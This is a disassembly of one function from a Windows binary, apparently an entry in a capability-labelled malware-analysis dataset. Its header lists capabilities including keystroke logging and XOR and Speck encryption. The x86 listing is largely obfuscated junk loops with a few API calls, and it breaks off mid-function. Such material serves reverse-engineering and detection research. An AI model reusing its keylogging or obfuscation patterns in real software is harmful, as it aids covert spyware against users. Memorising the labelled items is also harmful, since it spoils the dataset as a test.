Function at 0x1000dc15
Capabilities:
Check os version
Encode data using xor
Encrypt data using speck
Get common file path
Get disk information
Log keystrokes via polling
Parse pe header
Read .ini file

Disassembly:
mov eax, 0x100633f4
call fcn.10062db0
sub esp, 0x9a8
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x58], ecx
lea ecx, [ebp - 0xf4]
push 2
mov byte [ebp - 0x64], dl
call fcn.1001b7ad
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x40], 0xb44cf59
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], 0xfffffffe
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1000dc7b
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xf4]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1000dc63
xor eax, eax
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], eax
jl 0x1000dd9e
mov esi, dword [ebp - 0xf4]
mov dword [ebp - 0x50], esi
jmp 0x1000dc94
xor eax, eax
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x1c], eax
jmp 0x1000dcad
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x134], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1000dca0
mov ecx, dword [ebp - 0x24]
xor edi, edi
mov eax, dword [ebp - 0xf4]
cmp dword [eax + ecx*4], edi
je 0x1000dd32
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xf4]
cmp dword [eax + ecx*4], edi
jne 0x1000dcd7
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x1000dcd9
mov eax, ebx
mov edx, dword [ebp - 0x24]
lea ecx, [eax - 0x8e92]
mov eax, dword [ebp - 0xf4]
mov dword [eax + edx*4], ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x14], ebx
xor ebx, ebx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax + ecx*4]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x134]
mov eax, dword [ebp - 0x30]
cmp eax, ecx
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x134]
setne bl
imul edx, ebx
xor ecx, ecx
cmp edx, eax
setl cl
xor ebx, ebx
inc ebx
cmp ecx, 0xfffffffc
jg 0x1000dd32
mov eax, ebx
jmp 0x1000dd36
xor eax, eax
xor edi, edi
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
imul ecx, dword [esi + 4]
imul eax, ecx, 0xfffffffc
test eax, eax
je 0x1000dd67
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xf4]
cmp dword [eax + ecx*4], edi
je 0x1000dd67
mov edi, ebx
jmp 0x1000dd69
xor edi, edi
mov edx, dword [ebp - 0x24]
xor ebx, ebx
mov esi, dword [ebp - 0x24]
mov ecx, dword [ebp - 0xf4]
mov eax, dword [ebp - 0x40]
push 1
cmp dword [ecx + edx*4], eax
mov eax, dword [ebp - 0xf4]
setl bl
imul ebx, dword [eax + esi*4]
mov esi, dword [ebp - 0x50]
sub ebx, edi
mov dword [ebp - 0x2c], ebx
dec dword [ebp - 0x24]
pop ebx
jns 0x1000dc92
lea ecx, [ebp - 0xf4]
call fcn.1001b82f
mov dword [ebp - 0x34], 4
mov dword [ebp - 0x44], 0x8993
mov dword [ebp - 0x1c], 0
jmp 0x1000ddd1
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x6d8], 0x8a012e1d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1000ddc0
mov dword [ebp - 0x34], 0xfffffffd
cmp dword [ebp - 0x34], 0x17
jl 0x1000dee9
mov esi, 0xc0b333ee
mov dword [ebp - 0x1c], 0xa3df603f
mov dword [ebp - 0x20], 0x1e29ea41
mov dword [ebp - 0x40], 0x8376fbfc
mov dword [ebp - 0x1c], 0xfffffff9
jmp 0x1000de21
mov dword [ebp - 0x2c], 0xffffffff
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x17
je 0x1000de0b
mov dword [ebp - 0x20], 2
cmp dword [ebp - 0x20], 0
jl 0x1000dedc
push 3
lea ecx, [ebp - 0x308]
call fcn.1001b7ad
mov dword [ebp - 0x1c], 0
jmp 0x1000de61
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x308]
mov dword [eax + ecx*4], 0xfffffffa
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1000de4e
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x6d8]
mov eax, dword [ebp - 0x308]
mov ecx, dword [eax + 4]
add ecx, dword [eax]
neg ecx
sbb ecx, ecx
inc ecx
imul eax, ecx, 0x7d1
xor ecx, ecx
cmp eax, 0x53fc
mov eax, dword [ebp - 0x40]
setg cl
cmp esi, ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setle dl
xor ecx, ecx
cmp eax, edx
setne cl
imul eax, ecx, 0xfffffff8
cmp eax, 0xfffffff9
mov eax, dword [ebp - 0x40]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
lea ecx, [ebp - 0x308]
setle dl
xor eax, eax
cmp edx, 0xfffffff8
setg al
mov dword [ebp - 0x1c], eax
call fcn.1001b82f
dec dword [ebp - 0x20]
jns 0x1000de38
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0x17
jge 0x1000dded
push 2
lea ecx, [ebp - 0x100]
call fcn.1001b7ad
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], 0xb44cf59
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x54], 0x6cc9
cmp dword [ebp - 0x54], 0x6d31
jle 0x1000df6a
mov ebx, eax
mov edi, eax
mov esi, eax
mov ecx, eax
mov dword [ebp - 0x40], eax
lea eax, [esi + edi]
sar eax, cl
mov ecx, 0x1060c3d8
xor eax, ebx
cdq
push edx
push eax
call fcn.1001b57c
mov ecx, dword [ebp - 0x40]
inc ecx
mov dword [ebp - 0x40], ecx
cmp ecx, 0xb67
jl 0x1000df26
inc esi
push 0
pop eax
cmp esi, 0xd6a
jl 0x1000df21
inc edi
cmp edi, 0x52dd
jl 0x1000df1f
inc ebx
cmp ebx, 0x25d9
jl 0x1000df1d
xor ebx, ebx
inc ebx
mov dword [ebp - 0x2c], 0xfffffffe
mov byte [ebp - 4], bl
cmp dword [ebp - 0x54], 0x6a4d
jge 0x1000dfab
mov edx, 0x10007670
mov ecx, 0x1060c3d8
call fcn.1001da87
jmp 0x1000dfab
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1000dfce
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x100]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1000dfb6
xor eax, eax
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], eax
jl 0x1000e0f9
mov esi, dword [ebp - 0x100]
mov dword [ebp - 0x50], esi
jmp 0x1000dfe7
xor eax, eax
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x1c], eax
jmp 0x1000e000
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x138], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1000dff3
mov ecx, dword [ebp - 0x24]
xor edi, edi
mov eax, dword [ebp - 0x100]
cmp dword [eax + ecx*4], edi
je 0x1000e085
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x100]
cmp dword [eax + ecx*4], edi
jne 0x1000e02a
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1000e02c
mov eax, ebx
mov edx, dword [ebp - 0x24]
lea ecx, [eax - 0x8e92]
mov eax, dword [ebp - 0x100]
mov dword [eax + edx*4], ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x14], ebx
xor ebx, ebx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x100]
mov eax, dword [eax + ecx*4]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x138]
mov eax, dword [ebp - 0x30]
cmp eax, ecx
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x138]
setne bl
imul edx, ebx
xor ecx, ecx
cmp edx, eax
setl cl
xor ebx, ebx
inc ebx
cmp ecx, 0xfffffffc
jg 0x1000e085
mov eax, ebx
jmp 0x1000e089
xor eax, eax
xor edi, edi
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
imul ecx, dword [esi + 4]
imul eax, ecx, 0xfffffffc
test eax, eax
je 0x1000e0bb
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x100]
cmp dword [eax + ecx*4], edi
je 0x1000e0bb
mov dword [ebp - 0x40], ebx
jmp 0x1000e0c1
and dword [ebp - 0x40], 0
xor edi, edi
mov edx, dword [ebp - 0x24]
xor ebx, ebx
mov esi, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x100]
mov eax, dword [ebp - 0x20]
push 1
cmp dword [ecx + edx*4], eax
mov eax, dword [ebp - 0x100]
setl bl
imul ebx, dword [eax + esi*4]
mov esi, dword [ebp - 0x50]
sub ebx, dword [ebp - 0x40]
mov dword [ebp - 0x2c], ebx
dec dword [ebp - 0x24]
pop ebx
jns 0x1000dfe5
jmp 0x1000e0fb
xor edi, edi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x100]
call fcn.1001b82f
movdqa xmm0, xmmword [0x1000c700]
lea ecx, [ebp - 0x618]
push 3
pop esi
mov dword [ebp - 0x40], esi
lea eax, [ebp - 0x608]
mov dword [ebp - 0x44], ebx
push ecx
mov dword [ebp - 0x54], 0xc7747bb7
mov dword [ebp - 0x1c], 0x83dc0e3e
push eax
mov dword [ebp - 0x14], edi
push ecx
mov dword [ebp - 0x30], 0xfffffffa
lea ecx, [ebp - 0x540]
mov dword [ebp - 0x54], 0xfffffffa
movdqu xmmword [ebp - 0x618], xmm0
call fcn.1001b809
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x4c], 0
jmp 0x1000e179
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x2d8], 0x5e82aa9d
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 2
jl 0x1000e168
push 4
mov dword [ebp - 0x4c], 0
pop edi
jmp 0x1000e19c
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x698], 0xa8bc07c2
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], edi
jl 0x1000e18b
mov dword [ebp - 0x4c], 0
jmp 0x1000e1bb
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x2a0], 0x56d20a2e
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 2
jl 0x1000e1aa
cmp dword [ebp - 0x30], 0
jne 0x1000e1ca
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
xor edx, edx
dec dword [ebp - 0x29c]
mov ecx, dword [ebp - 0x698]
mov eax, dword [ebp - 0x54]
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setg dl
xor ecx, ecx
add eax, edx
cmp eax, 0xffffffff
setl cl
add ecx, 2
neg ecx
sbb ecx, ecx
inc ecx
imul ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x540]
mov dword [eax + 0xc], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2d8]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x2d8]
mov eax, dword [ebp - 0x68c]
mov eax, dword [ebp - 0x14]
cmp eax, ebx
setg cl
mov dword [ebp - 0x54], ecx
lea ecx, [ebp - 0x540]
mov eax, dword [ebp - 0x54]
add eax, 0xa4d24405
neg eax
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x20]
call fcn.1001b82f
push 2
lea ecx, [ebp - 0xdc]
call fcn.1001b7ad
mov dword [ebp - 4], esi
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x1c], 0xefb
cmp dword [ebp - 0x1c], 0xf79
jle 0x1000e306
xor eax, eax
mov dword [ebp - 0x14], eax
xor ecx, ecx
mov dword [ebp - 0x54], ecx
and dword [ebp - 0x30], 0
cdq
idiv ecx
mov ecx, edx
mov dword [ebp - 0x40], ecx
xor esi, esi
xor edi, edi
mov eax, dword [ebp - 0x30]
cdq
idiv esi
xor edx, ecx
lea ecx, [ebp - 0x80c]
mov eax, edx
cdq
push edx
push eax
call fcn.1000db9a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000e2b3
mov eax, dword [eax]
push eax
call fcn.1004de26
pop ecx
push edi
push ebx
lea ecx, [ebp - 0x80c]
call fcn.1001bbfd
mov ecx, dword [ebp - 0x40]
inc esi
cmp esi, 0x679e
jl 0x1000e291
mov edi, dword [ebp - 0x30]
inc edi
mov dword [ebp - 0x30], edi
cmp edi, 0x1f84
jl 0x1000e28d
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x14]
inc ecx
mov dword [ebp - 0x54], ecx
cmp ecx, 0x663b
jl 0x1000e281
inc eax
mov dword [ebp - 0x14], eax
cmp eax, 0x7154
jl 0x1000e27c
push 4
pop edi
mov dword [ebp - 0x44], 0x8993
cmp dword [ebp - 0x1c], 0xc05
jge 0x1000e321
push 0x100076c8
call fcn.1004de26
pop ecx
mov dword [ebp - 4], 3
mov dword [ebp - 0x1c], 0
jmp 0x1000e342
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x708], 0x8a012e1d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1000e331
mov dword [ebp - 0x34], 0xfffffffd
cmp dword [ebp - 0x34], 0x17
jl 0x1000e45a
mov esi, 0xc0b333ee
mov dword [ebp - 0x1c], 0xa3df603f
mov dword [ebp - 0x20], 0x1e29ea41
mov dword [ebp - 0x40], 0x8376fbfc
mov dword [ebp - 0x1c], 0xfffffff9
jmp 0x1000e392
mov dword [ebp - 0x2c], 0xffffffff
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x17
je 0x1000e37c
mov dword [ebp - 0x20], 2
cmp dword [ebp - 0x20], 0
jl 0x1000e44d
push 3
lea ecx, [ebp - 0x398]
call fcn.1001b7ad
mov dword [ebp - 0x1c], 0
jmp 0x1000e3d2
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x398]
mov dword [eax + ecx*4], 0xfffffffa
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1000e3bf
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x708]
mov eax, dword [ebp - 0x398]
mov ecx, dword [eax + 4]
add ecx, dword [eax]
neg ecx
sbb ecx, ecx
inc ecx
imul eax, ecx, 0x7d1
xor ecx, ecx
cmp eax, 0x53fc
mov eax, dword [ebp - 0x40]
setg cl
cmp esi, ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setle dl
xor ecx, ecx
cmp eax, edx
setne cl
imul eax, ecx, 0xfffffff8
cmp eax, 0xfffffff9
mov eax, dword [ebp - 0x40]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
lea ecx, [ebp - 0x398]
setle dl
xor eax, eax
cmp edx, 0xfffffff8
setg al
mov dword [ebp - 0x1c], eax
call fcn.1001b82f
dec dword [ebp - 0x20]
jns 0x1000e3a9
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0x17
jge 0x1000e35e
mov dword [ebp - 0x24], ebx
xor eax, eax
mov dword [ebp - 0x14], 0x399841b3
mov dword [ebp - 0x1c], 0xfffffffe
mov dword [ebp - 0x44], 0x16efa42b
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x44], 0x74734688
mov dword [ebp - 0x44], 0x1afd061a
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1000e4ac
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x5cc], 0xed890fc5
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1000e494
xor eax, eax
mov dword [ebp - 0x14], 0xffffffec
cmp dword [ebp - 0x14], 0xfffffff3
jle 0x1000e6d5
mov dword [ebp - 0x2c], 0x9feb
mov dword [ebp - 0x44], 0xadd63529
mov dword [ebp - 0x50], 0xffffffff
mov dword [ebp - 0x44], 0xbc00eadd
mov dword [ebp - 0x44], 0xad901516
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x44], 0xff06982b
mov dword [ebp - 0x44], 0xee00b46f
mov dword [ebp - 0x44], 0xb66969e9
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1000e51a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x8b4], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1000e501
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x1000e629
mov dword [ebp - 0x2c], 0xfffffffa
lea ecx, [ebp - 0x5d8]
mov dword [ebp - 0x44], 7
mov dword [ebp - 0x44], 0x89a5a40f
push ebx
call fcn.1001b7ad
push ebx
lea ecx, [ebp - 0x320]
mov byte [ebp - 4], 6
call fcn.1001b7ad
mov byte [ebp - 4], 7
mov dword [ebp - 0x3c], 0
jmp 0x1000e574
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x5d8]
mov dword [eax + ecx*4], 0xfffffffa
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], ebx
jl 0x1000e561
mov dword [ebp - 0x3c], 0
jmp 0x1000e595
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x320]
mov dword [eax + ecx*4], 0x9611ca4b
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], ebx
jl 0x1000e582
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x1c], 6
jmp 0x1000e604
mov dword [ebp - 0x44], 0xabbf
lea ecx, [ebp - 0x488]
push ebx
call fcn.1001b7ad
mov dword [ebp - 0x44], 0xc28
mov dword [ebp - 0x40], 0xfffffffd
mov dword [ebp - 0x20], 0
jmp 0x1000e5e6
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x488]
mov dword [eax + ecx*4], 0xc865b49d
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x1000e5d3
mov eax, dword [ebp - 0x320]
lea ecx, [ebp - 0x488]
inc dword [eax]
dec dword [ebp - 0x40]
call fcn.1001b82f
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffea
jge 0x1000e5a9
lea ecx, [ebp - 0x320]
call fcn.1001b82f
lea ecx, [ebp - 0x5d8]
mov byte [ebp - 4], 3
call fcn.1001b82f
jmp 0x1000e6cb
mov dword [ebp - 0x40], 0x5556
cmp dword [ebp - 0x40], 0x558c
jle 0x1000e68f
mov ecx, eax
mov dword [ebp - 0x30], eax
mov esi, eax
xor edi, edi
mov eax, ecx
mov ecx, esi
shl eax, cl
lea ecx, [ebp - 0x8e4]
cdq
push edx
push eax
call fcn.1000db9a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000e660
mov eax, dword [eax]
push eax
call fcn.1004de26
pop ecx
push edi
push ebx
lea ecx, [ebp - 0x8e4]
call fcn.1001bbfd
mov ecx, dword [ebp - 0x30]
inc esi
cmp esi, 0x2862
jl 0x1000e642
inc ecx
mov dword [ebp - 0x30], ecx
push 0
pop eax
cmp ecx, 0x4716
jl 0x1000e63e
mov dword [ebp - 0x2c], 0xfffffff6
cmp dword [ebp - 0x40], 0x5251
jge 0x1000e6aa
push 0x1000773c
call fcn.1004de26
pop ecx
mov dword [ebp - 4], 3
xor edx, edx
mov dword [ebp - 0x40], 0xfffffffe
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x50]
cmp eax, ecx
setne dl
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x40], eax
inc dword [ebp - 0x14]
xor eax, eax
jmp 0x1000e4b3
mov dword [ebp - 0x60], 0xb44cf59
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x40], 0x4973
cmp dword [ebp - 0x40], 0x4b25
jle 0x1000e794
mov dword [ebp - 0x1c], eax
mov edx, eax
mov dword [ebp - 0x14], edx
mov ecx, eax
mov dword [ebp - 0x30], ecx
jmp 0x1000e704
xor eax, eax
mov esi, eax
xor edi, edi
mov eax, ecx
mov ecx, esi
sar eax, cl
mov ecx, dword [ebp - 0x1c]
add ecx, edx
or eax, ecx
lea ecx, [ebp - 0x83c]
cdq
push edx
push eax
call fcn.1000db9a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000e72d
mov eax, dword [eax]
push eax
call fcn.1004de26
pop ecx
push edi
push ebx
lea ecx, [ebp - 0x83c]
call fcn.1001bbfd
mov ecx, dword [ebp - 0x30]
inc esi
mov edx, dword [ebp - 0x14]
cmp esi, 0x50e3
jl 0x1000e708
inc ecx
mov dword [ebp - 0x30], ecx
cmp ecx, 0x222f
jl 0x1000e702
inc edx
xor eax, eax
mov dword [ebp - 0x14], edx
cmp edx, 0x76d3
jl 0x1000e6fb
mov ecx, dword [ebp - 0x1c]
inc ecx
mov dword [ebp - 0x1c], ecx
cmp ecx, 0x1018
jl 0x1000e6f6
push eax
push eax
push 0x14a2
push 0xb17
push 0x22b0
call dword [sym.imp.USER32.dll_ScrollWindow]
mov dword [ebp - 0x1c], 0xffff
cmp dword [ebp - 0x40], 0x4902
jge 0x1000e7af
push 0x10007760
call fcn.1004de26
pop ecx
push 4
mov dword [ebp - 4], 3
lea ecx, [ebp - 0x338]
pop edi
mov dword [ebp - 0x14], 0xe9a07b30
mov dword [ebp - 0x40], 0xffffffff
push edi
call fcn.1001b7ad
push ebx
lea ecx, [ebp - 0x3ec]
mov byte [ebp - 4], 0xc
call fcn.1001b7ad
xor ebx, ebx
mov dword [ebp - 0x4c], ebx
jmp 0x1000e7fa
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x338]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], edi
jl 0x1000e7ea
xor esi, esi
mov dword [ebp - 0x4c], ebx
inc esi
jmp 0x1000e81a
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x3ec]
mov dword [eax + ecx*4], 0x370cc321
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], esi
jl 0x1000e807
push 2
mov dword [ebp - 0x4c], ebx
pop edi
jmp 0x1000e838
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x594], 0x52fb29d9
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], edi
jl 0x1000e827
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
sub eax, 0x6b34c266
neg eax
sbb eax, eax
inc eax
cmp eax, 0xcd3b
jge 0x1000e85a
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
cmp eax, esi
setl cl
xor edx, edx
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x338]
cmp eax, dword [ecx]
mov eax, dword [ebp - 0x3ec]
setl dl
sub edx, dword [ecx + 4]
neg edx
sbb edx, edx
inc edx
mov dword [ecx], edx
mov ecx, dword [ebp - 0x34]
mov dword [eax], edx
xor eax, eax
test edx, edx
setne al
xor edx, edx
imul ecx, eax
mov eax, dword [ebp - 0x34]
sub ecx, eax
cmp ecx, 0xfddf
mov dword [ebp - 0x590], ecx
mov eax, dword [ebp - 0x34]
sete dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x34]
setle cl
xor edx, edx
cmp eax, ecx
setge dl
xor ecx, ecx
imul edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
cmp edx, eax
setge cl
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x3ec]
call fcn.1001b82f
lea ecx, [ebp - 0x338]
mov byte [ebp - 4], 3
call fcn.1001b82f
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x2c], 0xfffffffe
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x34], 0xffffffe4
jmp 0x1000e94d
mov dword [ebp - 0x30], 0xfffffffd
mov dword [ebp - 0x2c], 0x7bb7ab61
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], bl
je 0x1000e936
push 0x2654
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
cmp dword [ebp - 0x30], ebx
jne 0x1000e93e
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xffffffed
jle 0x1000e913
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], bl
je 0x1000e968
push 0x5d3
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x1c], 6
jmp 0x1000e98a
cmp byte [ebp - 0x25], bl
je 0x1000e987
push ebx
push 0x1f23
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff0
mov byte [ebp - 0x25], bl
jl 0x1000e974
cmp byte [ebp - 0x25], bl
je 0x1000e9a3
push 0x1463
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov dword [ebp - 0x1c], ebx
jmp 0x1000e9b8
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xdc]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1000e9a8
mov dword [ebp - 0x3c], 0xe0648261
lea ecx, [ebp - 0x350]
mov dword [ebp - 0x34], 0x9034e105
push edi
call fcn.1001b7ad
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x14], 0x4a276ac1
mov dword [ebp - 0x30], 0x2c160ec2
mov dword [ebp - 0x40], 0xffffffff
mov dword [ebp - 0x2c], 0x93497140
mov dword [ebp - 0x50], 0xe1c21029
mov dword [ebp - 0x1c], ebx
jmp 0x1000ea12
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x350]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1000ea03
mov dword [ebp - 0x3c], ebx
or edi, 0xffffffff
jmp 0x1000eb0e
mov dword [ebp - 0x48], 0x37d45db3
lea ecx, [ebp - 0x244]
push 4
call fcn.1001b7ad
push 3
lea ecx, [ebp - 0x3bc]
mov byte [ebp - 4], 0xe
call fcn.1001b7ad
mov dword [ebp - 0x4c], ebx
jmp 0x1000ea59
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0xa0], edi
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], esi
jl 0x1000ea4c
mov dword [ebp - 0x4c], ebx
jmp 0x1000ea72
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x244]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 4
jl 0x1000ea63
mov dword [ebp - 0x4c], ebx
jmp 0x1000ea8c
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x3bc]
mov dword [eax + ecx*4], edi
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 3
jl 0x1000ea7d
mov dword [ebp - 0x48], ebx
cmp dword [ebp - 0x48], ebx
jl 0x1000eaf1
mov ecx, dword [ebp - 0x3bc]
mov eax, dword [ebp - 0x244]
mov dword [eax], 0xffff028a
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp + eax*4 - 0xa0]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp + eax*4 - 0xa0]
